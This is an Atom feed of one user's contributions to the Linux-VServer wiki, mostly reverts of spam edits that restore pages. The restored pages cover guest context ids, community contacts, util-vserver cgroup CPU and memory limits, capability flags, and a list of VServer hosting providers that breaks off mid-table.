http://svn.linux-vserver.org/api.php?action=feedcontributions&user=Daniel+hozac&feedformat=atomLinux-VServer - User contributions [en]2024-03-29T13:59:20ZUser contributionsMediaWiki 1.20.2http://svn.linux-vserver.org/ContextContext2012-10-04T09:04:22Z<p>Daniel hozac: Reverted edits by Rossanewalters (Talk) to last revision by Glenn</p>
<hr />
<div>''context'' is the unique integer, used to identify each guest instance. You may also come across it under the name ''xid'' or ''client id''. <br />
In the context of guest creation, you may also leave it away, as the creating program or script can enumerate them (pick the next available ''xid'') automatically, but for presumably demonstrating manual control over the ''xid'', it is shown here. <br />
There may a hardcoded upper limit to ''xid'' at 49152<br />
<br />
[[Category:Documentation]]</div>Daniel hozachttp://svn.linux-vserver.org/CommunicateCommunicate2012-10-04T09:04:12Z<p>Daniel hozac: Reverted edits by Rossanewalters (Talk) to last revision by Glenn</p>
<hr />
<div>The Linux-VServer community is full of people who are more than eager to help anyone who needs help. However, it can be a bit confusing to try and understand the many communication options.<br />
<br />
Here you can check out the various options for discussing Linux-VServer & Co.<br />
<br />
=== IRC Channels ===<br />
<br />
Internet Relay Chat (IRC) is a great way to connect with the community members in real time. The Linux-VServer project maintains the following channels:<br />
<br />
* [irc://irc.oftc.net/vserver #vserver] the official Linux-VServer channel<br />
* [http://irc.13thfloor.at/LOG Realtime IRC Logs]<br />
<br />
<br />
We also know of these (unofficial) channels:<br />
<br />
* [irc://irc.freenode.net/gentoo-vps #gentoo-vps] the Gentoo Linux VPS project support channel<br />
<br />
== Mailing Lists ==<br />
<br />
Mailing lists are a way you can communicate with other community members. Mailing lists are e-mail distribution lists. Each participant (subscriber) can send an e-mail to the mailing list's address that is then distributed to all subscribers. This way groups of the community members can communicate via e-mail.<br />
<br />
* [http://list.linux-vserver.org Linux-VServer mailing list archive]<br />
<br />
To subscribe send an email to vserver-subscribe@list.linux-vserver.org. To unsubscribe send the email to vserver-unsubscribe@list.linux-vserver.org. You must send the email from the address you are subscribed as, and look out for the confirm message that will be sent back to you from the list. Once you confirm you will either be subscribed or unsubscribed.<br />
<br />
== See Also ==<br />
<br />
* [[How to participate]]<br />
* [[Report a Bug]]<br />
* [[News]]<br />
<br />
[[Category:Community]]</div>Daniel hozachttp://svn.linux-vserver.org/User:PowerfoxUser:Powerfox2012-07-03T12:24:59Z<p>Daniel hozac: Reverted edits by SybilPena (Talk) to last revision by Daniel hozac</p>
<hr />
<div>Real name: Guenther Fuchs<br><br />
Location: Vienna, Austria<br />
<br />
More: What do you want to know?</div>Daniel hozachttp://svn.linux-vserver.org/User:PowerfoxUser:Powerfox2012-06-28T09:44:36Z<p>Daniel hozac: Reverted edits by AnnaSheppard (Talk) to last revision by Powerfox</p>
<hr />
<div>Real name: Guenther Fuchs<br><br />
Location: Vienna, Austria<br />
<br />
More: What do you want to know?</div>Daniel hozachttp://svn.linux-vserver.org/Talk:OverviewTalk:Overview2012-04-16T12:28:02Z<p>Daniel hozac: Reverted edits by Yiyuan (Talk) to last revision by Powerfox</p>
<hr />
<div>== Emulation = Dynamic Recompilation??? ==<br />
<br />
I'm no expert on this, but why in the world would this article claim that "dynamic compilation" is the same thing as "emulation"? I understand that dynamic compilation is sometimes used in an emulator, as opposed to a run-time interpreter, or a setup that pre-translates the text/data segments of a program before it's run, but the statement "The virtual machine simulates the complete hardware, allowing an unmodified OS for a completely different CPU to be run. This is also known as Dynamic Recompilation" is very misleading, especially for those new to virtualization. I'd suggest the second sentence be changed to "Emulators often use Dynamic Recompilation for efficiency purposes." - [[User:JustinWick|JustinWick]] 22:39, 3 January 2007 (CET)<br />
<br />
<br />
Word.</div>Daniel hozachttp://svn.linux-vserver.org/util-vserver:Cgroupsutil-vserver:Cgroups2011-10-10T09:14:22Z<p>Daniel hozac: Reverted edits by JBustos36 (Talk) to last revision by 71.11.175.78</p>
<hr />
<div>Bears run away when you yell at them, even <tt>lynx</tt>es.<br />
<br />
== Kernel configuration ==<br />
<br />
When configuring your kernel for cgroups with util-vserver you must make sure <tt>CONFIG_CGROUP_NS</tt> ('''CGroup Namespaces''') is unset with util-vserver version lower than 0.30.216-pre2882.<br />
<br />
'''CGroup Namespaces''' are a different approach to namespaces than that used by Linux vServer, and are not currently supported.<br />
<br />
== Prerequisites ==<br />
<br />
To use <tt>util-vserver</tt>'s Control Groups (<tt>cgroups</tt>) support, you need to have <tt>/dev/cgroup</tt> mounted.<br />
<br />
Recent versions of <tt>util-vserver</tt> sort this out for you by including the appropriate mount command in the <tt>util-vserver</tt> <tt>init</tt> (ie: runlevel) script included in the <tt>util-vserver</tt> distribution, however this apparently only works for the <tt>sysv</tt> <tt>init</tt> script, and not the Debian or Gentoo ones.<br />
<br />
If you were to mount the <tt>cgroup</tt> Control Groups filesystem manually, you would use something like:<br />
: <tt># mkdir /dev/cgroup<br />
: # mount -t cgroup -o ''<subsystems>'' /dev/cgroup</tt><br />
<br />
Where <tt>''<subsystems>''</tt> is something like <tt>cpuset,memory</tt>.<br />
<br />
To avoid the need for manual configuration after reboot, on Gentoo you may wish to add the cgroup mount to <tt>/etc/fstab</tt>. For Debian see the live examples section at the bottom of this page.<br />
<pre><br />
none /dev/cgroup cgroup cpu,cpuset,memory 0 2<br />
</pre><br />
<br />
== Draft - Distributing cpu shares with cgroups ==<br />
<br />
From what i gathered in sched-design-CFS.txt [http://people.redhat.com/mingo/cfs-scheduler/sched-design-CFS.txt]<br />
<br />
This is simply done by adjusting the cpu.shares. Just do:<br />
<br />
echo '512' > /dev/cgroup/<guest name>/cpu.shares<br />
<br />
The share you get is equal to the guest's share divided by the sum of the cpu shares of all the guest. So for exemple :<br />
<br />
<pre><br />
vserver guest 1 => 512 <br />
vserver guest 2 => 512<br />
vserver guest 3 => 2048<br />
vserver guest 4 => 512<br />
</pre><br />
<br />
so you have a total of 3584 cpu shares (2048+512+512+512) , then you get :<br />
<br />
<pre><br />
vserver guest 1 => 512 / 3584 = 14% cpu<br />
vserver guest 2 => 512 / 3584 = 14% cpu<br />
vserver guest 3 => 2048 / 3584 = 57% cpu<br />
vserver guest 4 => 512 / 3584 = 14% cpu<br />
</pre><br />
<br/><br />
<br />
<br />
Note that this is fair scheduling and this will not enfore HARD limit (as far as i know).<br />
<br />
== Making share permanent with util vserver ==<br />
<br />
You must use the "cgroup" directory. You can apply defaults to all vservers or choose different settings for each guest:<br />
<br />
* /etc/vservers/.defaults/cgroup , this directory contains settings applying to all guest when they start<br />
* /etc/vservers/<guestname>/cgroup , this directory contains settings for the guest when it starts.<br />
<br />
<br />
Example :<br />
<br />
<pre><br />
mkdir /etc/vservers/.defaults/cgroup<br />
mkdir /etc/vservers/<guestname>/cgroup<br />
echo '2048' > /etc/vservers/<guestname>/cgroup/cpu.shares<br />
# List of CPUs<br />
echo 1 > /etc/vservers/<guestname>/cgroup/cpuset.cpus<br />
# NUMA nodes<br />
echo 1 > /etc/vservers/<guestname>/cgroup/cpuset.mems<br />
</pre><br />
<br />
Note that /etc/vservers is an example, in my Aqueos install i use /usr/local/etc/vservers but /etc/vservers seems to be the defaults for the classic installs.<br />
<br />
Regards,<br />
Ghislain.<br />
<br />
== cgroup and CFS based CPU hard limiting that replaces sched_hard ==<br />
<br />
===References===<br />
You can find documentation about the CFS hard limiting in <tt>Documentation/scheduler/sched-cfs-hard-limits.txt</tt> inside your kernel source dir.<br />
<br />
===Requirements===<br />
This feature is currently available in <tt>patch-2.6.32.20-vs2.3.0.36.29.6.diff</tt> and is in testing phase as of this patch set so report any bugs to the mailing list.<br />
<br />
To get the hard limit setup on every vServer start you need a recent utils package. It worked for me with: <tt>0.30.216-pre2864</tt>. (Download from [http://people.linux-vserver.org/~dhozac/t/uv-testing/ util-vserver prereleases]) (also see note at top of page regarding CONFIG_CGROUP_NS, which can usually be found by grepping /proc/config.gz or /boot/config-`uname -r`)<br />
<br />
Before trying to setup limits for one guest you should mount the cgroup filesystem:<br />
<br />
[ -d /dev/cgroup ] || mkdir /dev/cgroup<br />
mount -t cgroup -ocpu none /dev/cgroup<br />
<br />
===Configuration===<br />
Example for an upper bound of 2/5th (or 40%) of the all CPU power that a guest/cgroup can use :<br />
<br />
<pre><br />
# time assigned to guest (in microseconds) 200000 = 0,2 sec <br />
echo 200000 > /etc/vservers/<guestname>/cgroup/cpu.cfs_runtime_us<br />
# in each specified period (in microseconds) 500000 = 0,5 sec <br />
echo 500000 > /etc/vservers/<guestname>/cgroup/cpu.cfs_period_us<br />
</pre><br />
<br />
This limit is an hard limit, see it like an upper wall for the resources used by the cgroup.<br />
<br />
If you set both CPU share AND hard limit the system will do fine but hard limits takes priority over CPU share scheduling, so CPU share will do the job but each cgroup will have an upper bound that it cannot cross even if the CPU share you gave it is higher.<br />
<br />
The hard limit feature adds 2 cgroup files for the CFS group scheduler:<br />
* <tt>cfs_runtime_us</tt>: Hard limit for the group in microseconds.<br />
* <tt>cfs_period_us</tt>: Time period in microseconds within which hard limits is enforced.<br />
<br />
== using cgroup to enforce memory limits ==<br />
<br />
in linux-vserver patch version vs2.3.0.36.29 memory limiting by cgroup is introduced. to use it you need to have the following config lines in your kernel build (aditionally to the others mentioned for cgroup cpu limits):<br />
<br />
* CONFIG_RESOURCE_COUNTERS=y<br />
* CONFIG_CGROUP_MEM_RES_CTLR=y<br />
* CONFIG_CGROUP_MEM_RES_CTLR_SWAP=y<br />
<br />
make sure /dev/cgroup is mounted with -o...,memory to be able to use this feature. The following files let you adjust memory limits of a running vserver (create them in /etc/vservers/-vserver-name-<br />
/cgroup/ to make them permanent):<br />
<br />
* memory.memsw.limit_in_bytes the total memory limit (memory+swap) of your cgroup context<br />
* memory.limit_in_bytes the total memory limit<br />
<br />
values are stored in bytes. When writing to those files you can use suffixes: K,M,G.<br />
<br />
Note: cgroup memory limits are to replace rss.soft and rss.hard some time in the future.<br />
When you wish the guests to see only their limited memory pool, be sure to include VIRT_MEM in your cflags config file.<br />
<br />
'''BUG-ALERT: '''If you're getting into trouble (Unable to handle kernel paging request at [..] + trace from Error in dmesg or /var/messages) please use the following experimental patch provided by Bertl: [http://vserver.13thfloor.at/ExperimentalT/delta-memcg-fix04.diff http://vserver.13thfloor.at/ExperimentalT/delta-memcg-fix04.diff]<br />
<br />
For a deeper understanding check out Documentation/cgroups/memory.txt of your kernel source tree.<br />
<br />
= Real world Examples of Scheduling =<br />
<br />
This section is for working and tested examples you have put in place.<br />
<br />
Please add the following information for each example you put here (use <tt>vserver-info</tt>).<br />
* Base kernel version<br />
* vServer version<br />
* Other kernel patches in use (<tt>grsec</tt>, etc.)<br />
* <tt>util-vserver</tt> release<br />
<br />
== Ben's install on Debian Lenny ==<br />
<br />
I used the kernels from [http://repo.psand.net], described at [http://kernels.bristolwireless.net/]. I've done this on a few versions, works for 2.6.31.7 with patch vs2.3.0.36.27 on amd64, also 2.6.31.11 with patch vs2.3.0.36.28. I used the stock Lenny util-vserver, patched as described below. The kernel config is critically important, with specific cgroup options necessary in order to get cgroups working in this way. Check the configs for the [http://repo.psand.net] kernels to see which ones I used.<br />
<br />
==== Getting Lenny Ready ====<br />
<br />
There's a very old version of util-vserver on Lenny, it needs this patch applying before it will set the cgroups properly, it basically only adds one line:<br />
<br />
--- /usr/lib/util-vserver/vserver.suexec.orig 2008-12-12 22:56:25.000000000 -0600<br />
+++ /usr/lib/util-vserver/vserver.suexec 2009-08-20 02:11:42.000000000 -0500<br />
@@ -22,7 +22,8 @@ test -z "$is_stopped" -o "$OPTION_INSECU<br />
exit 1<br />
}<br />
generateOptions "$VSERVER_DIR"<br />
-addtoCPUSET "$VSERVER_DIR"<br />
+addtoCPUSET "$VSERVER_DIR"<br />
+attachToCgroup "$VSERVER_DIR"<br />
<br />
user=$1<br />
shift<br />
<br />
Next I added a correctly mounted cgroup file system on /dev/cgroup/. <br />
<br />
$ mkdir /dev/cgroup<br />
$ mount -t cgroup vserver /dev/cgroup<br />
<br />
For the util-vserver to do the right thing, this directory needed adding too:<br />
<br />
$ mkdir /etc/vservers/.defaults/cgroup<br />
<br />
==== Sharing out the CPU between guest servers ====<br />
<br />
I have a few test guests hanging around that I play with, call onetime, twotime, threetime, fourtime and fivetime. I order to set the shares for each guest I did this:<br />
<br />
mkdir /etc/vservers/fivetime/cgroup/ /etc/vservers/fourtime/cgroup/ /etc/vservers/threetime/cgroup/ /etc/vservers/twotime/cgroup/ /etc/vservers/twotime/cgroup/<br />
echo "512" > /etc/vservers/fivetime/cgroup/cpu.shares<br />
echo "1024" > /etc/vservers/fourtime/cgroup/cpu.shares<br />
echo "1024" > /etc/vservers/threetime/cgroup/cpu.shares<br />
echo "1536" > /etc/vservers/twotime/cgroup/cpu.shares<br />
echo "1024" > /etc/vservers/onetime/cgroup/cpu.shares<br />
<br />
Then started the guests. When the system was loaded (I used one instance of cpuburn on each server - not advised but a useful test) they each should have got the following percentage of CPU.<br />
<br />
{| class="wikitable"<br />
! Guest Name !! cpu.share given !! percentage of cpu<br />
|-<br />
| fivetime || 512 || 10% <br />
|-<br />
| fourtime || 1024 || 20%<br />
|-<br />
| threetime || 1024 || 20%<br />
|-<br />
| twotime || 1536 || 30%<br />
|-<br />
| onetime || 1024 || 20%<br />
|}<br />
<br />
This didn't quite happen, as each process could migrate to other CPUs. When I fixed every guest to use only one of the available CPUs (see below how I did this) the percentage of processing time alloted to each guest were then pretty much exact! Each process was given exactly it's designated percentage of time according to vtop.<br />
<br />
==== Dishing out different processors sets to different guest servers ====<br />
<br />
The "cpuset" for each guest is the subset of CPUs which it is permitted to use. I found out the number of CPUs available on my system by doing this:<br />
<br />
$ cat /dev/cgroup/cpuset.cpus<br />
<br />
This gave me the result 0-1, meaning that the overall set for my cgroups consists of CPUs 0 and 1 (for a quad core system one would expect the result 0-3, or for quad core with HT, 0-7). I stopped my guests, then for each guest specified a cpuset containing only CPU 0 for each of them:<br />
<br />
$ echo "0" > /etc/vservers/onetime/cgroup/cpuset.cpus<br />
$ echo "0" > /etc/vservers/twotime/cgroup/cpuset.cpus<br />
$ echo "0" > /etc/vservers/threetime/cgroup/cpuset.cpus<br />
$ echo "0" > /etc/vservers/fourtime/cgroup/cpuset.cpus<br />
$ echo "0" > /etc/vservers/fivetime/cgroup/cpuset.cpus<br />
<br />
On restarting the guest, I could see (using vtop) that these guest were only using the CPU 0 (the column "Last used cpu (SMP)" needs to be on in vtop in order to see this). This set up isn't particularly useful, but did allow me to check that the cpu.shares I specified for my guest were working as expected.<br />
<br />
==== Doing this to servers live ====<br />
<br />
The parameters in the last two sections can be set when the servers are running. For example to move the guest "threetime" so that it could use both CPUs I did this:<br />
<br />
$ echo "0-1" > /dev/cgroup/threetime/cpuset.cpus<br />
<br />
The processes running on threetime instantly were allocated cycle on both CPUs. Then:<br />
<br />
$ echo "1" > /dev/cgroup/threetime/cpuset.cpus<br />
<br />
Shifts them all to CPU 1. One can change where cycles are allocated with impunity. The same with CPU shares:<br />
<br />
$ echo "4096" > /dev/cgroup/threetime/cpu.shares<br />
<br />
Gave threetime a much bigger slice of the processors when it was under load.<br />
<br />
'''NOTE''': The range "0-1" is not the only way of specifying a set of CPUs, I could have used "0,1". On bigger systems, with say 8 CPUs one could use "0-2,4,5", which would be the same as "0,1,2,4,5" or "0-2,4-5".<br />
<br />
==== Making sure all of this gets set up after a reboot ====<br />
<br />
This process will make sure /dev/cgroup is present at boot and correctly mounted:<br />
<br />
* patch util-vserver (see above)<br />
* mkdir /etc/vservers/.defaults/cgroup<br />
* mkdir /lib/udev/devices/cgroup (this will mean that the /dev/cgroup is created early in the boot process)<br />
* add the following line to /etc/fstab<br />
vserver /dev/cgroup cgroup cpu,cpuset,memory 0 0<br />
<br />
== Ben's install on Debian Squeeze/Sid ==<br />
<br />
These instructions are for Debian's own packages.<br />
<br />
Squeeze ships with the 2.6.32 kernel. Currently the package linux-image-2.6.32-5-vserver-amd64 works well for cgroup scheduling. The following steps are simplest way to set it up:<br />
<br />
* mkdir /etc/vservers/.defaults/cgroup<br />
* mkdir /lib/udev/devices/cgroup (this will mean that the /dev/cgroup is created early in the boot process)<br />
* add the following line to /etc/fstab<br />
vserver /dev/cgroup cgroup cpuset,cpu,cpuacct,devices,freezer,net_cls 0 0<br />
* reboot the server<br />
<br />
Instructions for setting particular parameters are the same as for Lenny. The reason for specifying the cgroup subsystems is that if the namespace subsystem "ns" is included, Linux-Vserver will not work. The /etc/fstab line above mounts /dev/cgroup with all the available subsystems excluding "ns".<br />
<br />
Note that the "memory" cgroup subsystem is omitted as Squeeze has the legacy memory controls through rlimits compiled in. It is possible to add "memory" to the cgroup fstab line and use the cgroup based memory control. Please add any success with this to this page.</div>Daniel hozachttp://svn.linux-vserver.org/Public_Relations_TeamPublic Relations Team2011-10-10T09:14:11Z<p>Daniel hozac: Reverted edits by JBustos36 (Talk) to last revision by Hollow</p>
<hr />
<div>The Public Relations Team is responsible for communication between the Linux-VServer project and its users. Public relations tasks involve:<br />
<br />
== User Relations ==<br />
<br />
User Relations' main function is to act as a facilitator between people engaged with the Linux-VServer project. User Relations takes the initiative in soliciting feedback from users and developers, creating surveys on relevant issues, promoting the distribution to individuals and groups, and fostering cross-project interaction.<br />
<br />
The project also offers a point of contact between the development and user communities. It looks at ways of keeping advanced users and prospective developers informed about the development community, and encourages relations between the two communities.<br />
<br />
== Release Engineering ==<br />
<br />
The goals of Release Engineering are to continually improve the quality, timeliness and overall procedures for creating official Linux-VServer releases, as well as acting as the official coordinators regarding announcements. Release Engineering is very much focused on ensuring that the initial quality of every official release is as high as possible, and that the experience is as positive for as many of our users as possible.<br />
<br />
== Press Releases ==<br />
<br />
A press release is a written statement distributed to the media. It is a fundamental tool of public relations. The text of a release is usually (but not always) written in the style of a news story, with an eye-catching headline and text written standard journalistic style. Usually the Linux-VServer project only sends press releases (announcements) for new releases or substantial changes in infrastructure. Below is a list of announcement the Linux-VServer project has made so far.<br />
<br />
{| class="wikitablenowrap" style="width: 100%"<br />
! 03 Sep 2006<br />
| [[Announcements/20060903|Linux-VServer project Announces New Stable Release and New Website]]<br />
|}<br />
<br />
== Core Members ==<br />
<br />
* [[User:Hollow|Hollow]]<br />
* [[User:Bertl|Bertl]]</div>Daniel hozachttp://svn.linux-vserver.org/util-vserver:Capabilities_and_Flagsutil-vserver:Capabilities and Flags2011-10-03T08:37:25Z<p>Daniel hozac: Reverted edits by Marc hamelin (Talk) to last revision by Gebura</p>
<hr />
<div>This page discusses how to set capabilities and flags for a util-vserver guest. Also check http://www.nongnu.org/util-vserver/doc/conf/configuration.html for additional information.<br />
A couple of general rules applies to all of the files described on this page:<br />
* The filenames are all relative to the guest's configuration directory, which typically is <code>/etc/vservers/<em><guest></em></code> but by default <code>/usr/local/etc/vservers/<em><guest></em></code> when built from source.<br />
* One capability/flag per line<br />
* To remove something set by default, prefix it with ~, for instance:<br />
echo ~SET_UTSNAME >> ccapabilities<br />
* Comments can be added with #:<br />
echo \# Disable utsname configuration >> ccapabilities<br />
* To set a specific bit which does not yet have a name in util-vserver, you can use the following notation to set bit 6:<br />
echo ^6 >> ncapabilities<br />
<br />
=== Setting context capabilities (ccaps) ===<br />
* Add the capabilities to a file named <code>ccapabilities</code>:<br />
echo SYSLOG >> ccapabilities<br />
* The default ccaps are:<br />
SET_UTSNAME<br />
RAW_ICMP<br />
<br />
=== Setting context flags (cflags) ===<br />
* Add the flags to a file named <code>flags</code>:<br />
echo VIRT_MEM >> flags<br />
* The default cflags are (in addition to the defaults set by the kernel):<br />
HIDE_NETIF<br />
<br />
=== Setting network flags (nflags) ===<br />
* Add the flags to a file named <code>nflags</code>:<br />
echo HIDE_NETIF >> nflags<br />
* The default nflags are:<br />
HIDE_NETIF<br />
<br />
=== Setting POSIX capabilities (bcaps) ===<br />
* Add the capabilities to a file named <code>bcapabilities</code>:<br />
echo CHOWN >> bcapabilities<br />
* The default bcaps are:<br />
CHOWN<br />
DAC_OVERRIDE<br />
DAC_READ_SEARCH<br />
FOWNER<br />
FSETID<br />
KILL<br />
SETGID<br />
SETUID<br />
NET_BIND_SERVICE<br />
SYS_CHROOT<br />
SYS_PTRACE<br />
SYS_BOOT<br />
SYS_TTY_CONFIG<br />
LEASE<br />
AUDIT_WRITE<br />
<br />
=== Setting network capabilities (ncaps) ===<br />
* Add the capabilities to a file named <code>ncapabilities</code>:<br />
echo ^12 >> ncapabilities<br />
* There are no default ncaps.<br />
<br />
=== Modify flags without restarting the vservers ===<br />
If you would like to edit those flags without restarting the vservers, you can use vattribute and nattribute. See [[util-vserver:Cheatsheet]]</div>Daniel hozachttp://svn.linux-vserver.org/VServer_HostingVServer Hosting2011-07-11T12:17:14Z<p>Daniel hozac: </p>
<hr />
<div>Here is a list of '''Companies''' utilizing '''Linux-VServer''' technology '''for Hosting'''...<br />
<br />
{| class="wikitable" style="width: 97%"<br />
! style="width: 25%" | Company <br />
! rowspan="2" | Description<br />
|-<br />
| Location<br />
|-<br />
<br />
! [http://www.gigatux.com GigaTux ]<br />
| [https://www.gigatux.com/virtual.php Virtual Private Servers]<br />
* Linux VPSs based in Maidenhead, near London, UK<br />
* Offers Debian Etch 2.6.18 Xen and Vserver kernel as a standard install option<br />
* Also allows users to use custom kernels<br />
* Users have commented on the stability of the Etch VServer kernel<br />
|-<br />
| Location - United Kingdom <br />
|-<br />
<br />
! [http://www.lvpshosting.com LVPSHosting Europe ]<br />
<br />
| [https://www.lvpshosting.com/vpshosting.html Virtual Private Server ]<br />
* Cluster systems in Rotterdam, Netherlands<br />
* Virtual Private Servers<br />
*NEW - cPanel to all VPS packages can be added <br />
* CentOS 4, CentOS 5, Fedora 10, Fedora 11, Fedora 12, Fedora 13, Ubuntu 8.04 LTS, Ubuntu 9.04, Debian Etch, Debian Lenny<br />
* We have VPS starting from $18.85 (the cheapest you will get)<br />
* Use Code 55CUT (at checkout) to get 55% less for your first month.<br />
* Everything from mainstream adult allow, monitoring systems Nagios and Cacti, application hosting, blog hosting<br />
* Costume VPS's available <br />
|-<br />
<br />
|-<br />
| Location - Europe - Netherlands<br />
|-<br />
! [http://www.danec.net DANEC Germany]<br />
Virtual Server Cluster Services<br />
| [https://www.danec.net/customer DANEC Orderpanel]<br />
* Cluster systems in Nuremberg and Frankfurt<br />
* KVM and OpenVZ systems avaiable<br />
* Virtual PBX systems<br />
* Debian, CentOS and Unbutu avaiable<br />
<br />
* We have expanded our CoLocation services with<br />
* VPS servers avaiable from 5 euro per month<br />
|-<br />
|-<br />
! [http://rentahost.ch Switzerland]<br />
Virtual Cluster Hosting<br />
| [http://rentahost.ch rentAhost.ch]<br />
* fully virtualized environment<br />
* Build upon our own hardware production<br />
* Using our wonderfull stable Linux Distribution [http://weblinux.ch WebLinux]<br />
<br />
* We offer specialized and stable Linux VServer Solutions<br />
* flexible on its most, if needed, stable as rock<br />
<br />
* [http://prounix.ch proUnix.ch] - Consultant - Borovcnik Peter<br />
|-<br />
|-<br />
! [http://www.dreamhostps.com/ DreamHost P.S.]<br />
| rowspan=2 |<br />
* Debian servers<br />
* Guaranteed CPU and RAM availability<br />
* Web-based account administration<br />
* On-the-fly web-based VServer configuration tools<br />
|-<br />
| Los Angeles, California, USA<br />
|-<br />
! [http://www.wessexnetworks.com Wessex Networks]<br />
| rowspan=2 |<br />
* Linux VServer Dedicated Managed Virtual Servers<br />
* Debian-based / dedicated IP address<br />
* RAID Storage, Additional Backup, 100Mbit Burst<br />
* Host servers at [http://www.telecityredbus.com/uk/manchester Telecity Redbus Manchester]<br />
|-<br />
| United Kingdom<br />
|-<br />
! [http://www.datakompaniet.no DataKompaniet]<br />
| rowspan=2 |<br />
* We offer affordable Linux VServers on a 100Mbit fiber Internet connection<br />
* Gentoo based / firewalled / 2.6 kernel / private or (optional) public IP<br />
* VServers have been offered since 2004<br />
* Host servers are RAID5 equipped, and have historically had extremly good uptimes<br />
* Host servers are located in a professional server room, in the same building as Uninett Norid (Norway's TLD (.no) Registry)<br />
|-<br />
| Norway<br />
|-<br />
! [http://lylix.net LYLIX]<br />
VPS Hosting<br />
| rowspan=2 |<br />
* Virtual private servers based on '''2.6 kernel and 2.2.0 VServer'''.<br />
* Several different userlands are available in 32 and 64 bit, including '''Gentoo, Debian, Slackware, Fedora Core, CentOS, Arch Linux, OpenSuSE'''.<br />
* Custom images also accepted!<br />
* '''Asterisk PBX and Trixbox supported''', including Meetme, MOH, and IAX.<br />
* '''Three regional datacenter locations''': Northeast, West, and South USA.<br />
* Each primary host backed by secondary host via '''high-availability data replication''' for emergency recovery<br />
* '''"Dedicated" VPS service''' available for guaranteed minimum CPU<br />
* Comprehensive customer portal w/ VPS management and statistics<br />
|-<br />
| United States of America<br />
|-<br />
! [http://www.sns.ro SNS] <br />
System & Network Solutions<br />
| rowspan=2 |<br />
* We are using vservers in most of our setups and on hundreds of servers that offer public services - such as web, mail, dns, sql. <br />
* We also do local evangelisation for the project (just because it kicks ass). <br />
|-<br />
| Romania<br />
|-<br />
! [http://netflow.ru Sky Media]<br />
| rowspan=2 |<br />
|-<br />
| Russia<br />
|-<br />
! [http://acewebhosting.com Ace WebHosting]<br />
| rowspan=2 |<br />
* We provide affordable virtual private servers. We also use vservers for shared hosting.<br />
|-<br />
|<br />
|-<br />
! [http://www.tpg.com.au TPG Internet]<br />
| rowspan=2 |<br />
* Currently using vservers for providing Gaming services.<br />
|-<br />
| Australia<br />
|-<br />
! [http://www.expio.co.nz EXPIO Communications]<br />
| rowspan=2 |<br />
* Specialising in Linux Virtual Server hosting solutions.<br />
* Running the FreeVPS platform, which is based on linux-vserver, integrated with H-Sphere control panel.<br />
* Providing virtual server hosting since 1998.<br />
|-<br />
| New Zealand<br />
|-<br />
! [http://www.hostix.it HostiX]<br />
| rowspan=2 |<br />
* Italian hosting provider has been offering the service since the early versions of vserver.<br />
* Currenly using the stable version but has beta program for the new 2.6 kernels.<br />
* High availability vservers on request too.<br />
|-<br />
| Italy<br />
|-<br />
! [http://www.virtualinfrastructure.nl Virtualinfrastructure.nl]<br />
| rowspan=2 |<br />
* Dutch consultancy and development company LinIT Technologies started a site about Linux vserver technology, also offering consultancy and support for Vserver.<br />
|-<br />
| The Netherlands<br />
|-<br />
! [http://www.virtuaserver.com.br VirtuaServer]<br />
| rowspan=2 |<br />
* Affordable virtual private servers in Brazil.<br />
* The first company in Brazil to introduce vserver hosting.<br />
* We offer our customers an exclusive control panel which allows them to monitor their servers, easily setup firewall rules and backup their data.<br />
* Running kernel 2.6 and hosting Debian, Fedora, Mandrake, Slackware, Conectiva and CentOS virtual servers.<br />
|-<br />
| Brazil<br />
|-<br />
! [http://www.neoisis.net www.neoisis.net]<br />
| rowspan=2 |<br />
* Internet service infrastructure and hosting: domain names, web sites, email systems, virtual servers. Bulk delivery for resellers. Custom-made solutions developed in cooperation with the client.<br />
* Planning and strategy for ICT organization and leadership.<br />
* Research and analysis.<br />
* Tailored systems and programming services. Functional analysis, testing, debugging.<br />
* Usability.<br />
* General ICT consulting.<br />
* Linux-VServer -based virtual servers available with several different distributions.<br />
|-<br />
| Finland<br />
|-<br />
! [http://www.prosite.de/v_server/virtual_server_uebersicht.html Prosite V-Server]<br />
| rowspan=2 |<br />
* High performance v servers on systems with constant performance monitoring<br />
* Leistungsfähige virtuelle Server mit ständiger Performance-Überwachung<br />
* Guaranteed and scalable CPU and RAM use<br />
* Web-based and automated v server administration<br />
* Online web-based VServer configuration tools (image setup, Backup, Rescue)<br />
|-<br />
| Germany<br />
|-<br />
! [http://webhosting.lycos.co.uk/expert/comparevds/ Lycos Europe]<br />
| rowspan=2 |<br />
* active cooperation with VServer project since 2004<br />
* High performance and quality VDS Solutions based on Linux-VServer Technology<br />
* low prices and free trials<br />
* Web Administration panel to monitor and use main functions of your Vserver<br />
* Control Panel to monitor your account data etc.<br />
* Hosted in professional certified datacenter in Germany<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.v-server.cz/ FinalTek.com]<br />
| rowspan=2 |<br />
* Linux kernel 2.6 based vservers / Dual Intel P4 or Xeon platform.<br />
* Providing payed vserver hosting. Starting from 9 EUR per month.<br />
* Distributions: Debian, Centos, Redhat, Fedora, Ubuntu and others on demand.<br />
* Start specs: 400MHz CPU, 192MB RAM, 5GB HDD space, unlimited traffic.<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.greatnet.de/cms/front_content.php?idcat=5 Greatnet VServer]<br />
| rowspan=2 |<br />
* Linux V-Server from Greatnet with Controlpanel (Confixx) included<br />
* Virtual Server start 5,99 Euro each month<br />
* Distributions: Debian, Centos, Gentoo, Fedora, Ubuntu, OpenSuse, Slackware<br />
* Controlpanel (rescue, reinstall, reboot, bandwith usage and many more)<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.ikse.net Ikse]<br />
| rowspan=2 |<br />
* Ikse provide Virtual Dedicated Server on Debian and Fedora Core, empty, or with a free 'hosting pack'.<br />
* Convert your existing "real Linux server" to Ikse Virtual Dedicated Server is also possible.<br />
|-<br />
| France<br />
|-<br />
! [http://www.odsol.com ODSOL Premium Web Hosting]<br />
| rowspan=2 |<br />
* We specialise in [http://www.odsol.com ecommerce hosting] using virtual private server technology.<br />
* We offer both Linux-vserver [http://www.odsol.com/virtual_private_server/ virtual dedicated server] and Virtuozzo based [http://www.odsol.com/virtual_private_server/ virtual private server], Cpanel and DirectAdmin control panel included.<br />
|-<br />
|<br />
|-<br />
! [http://www.ip-cracks.ch ip-cracks GmbH]<br />
| rowspan=2 |<br />
* We offer Linux-VServers in different flavours to our customers. The product range starts with the Sandbox Private for residential customers up to the Sandbox Pro for business customers with high expectations. We have a set of new products in the queue which have a strong focus for the small and medium business companies as for an example a centralised DMS. Many services are based on the Linux-vServer technology.<br />
|-<br />
| Switzerland<br />
|-<br />
! [http://www.acox.de/ ACOX Corporation]<br />
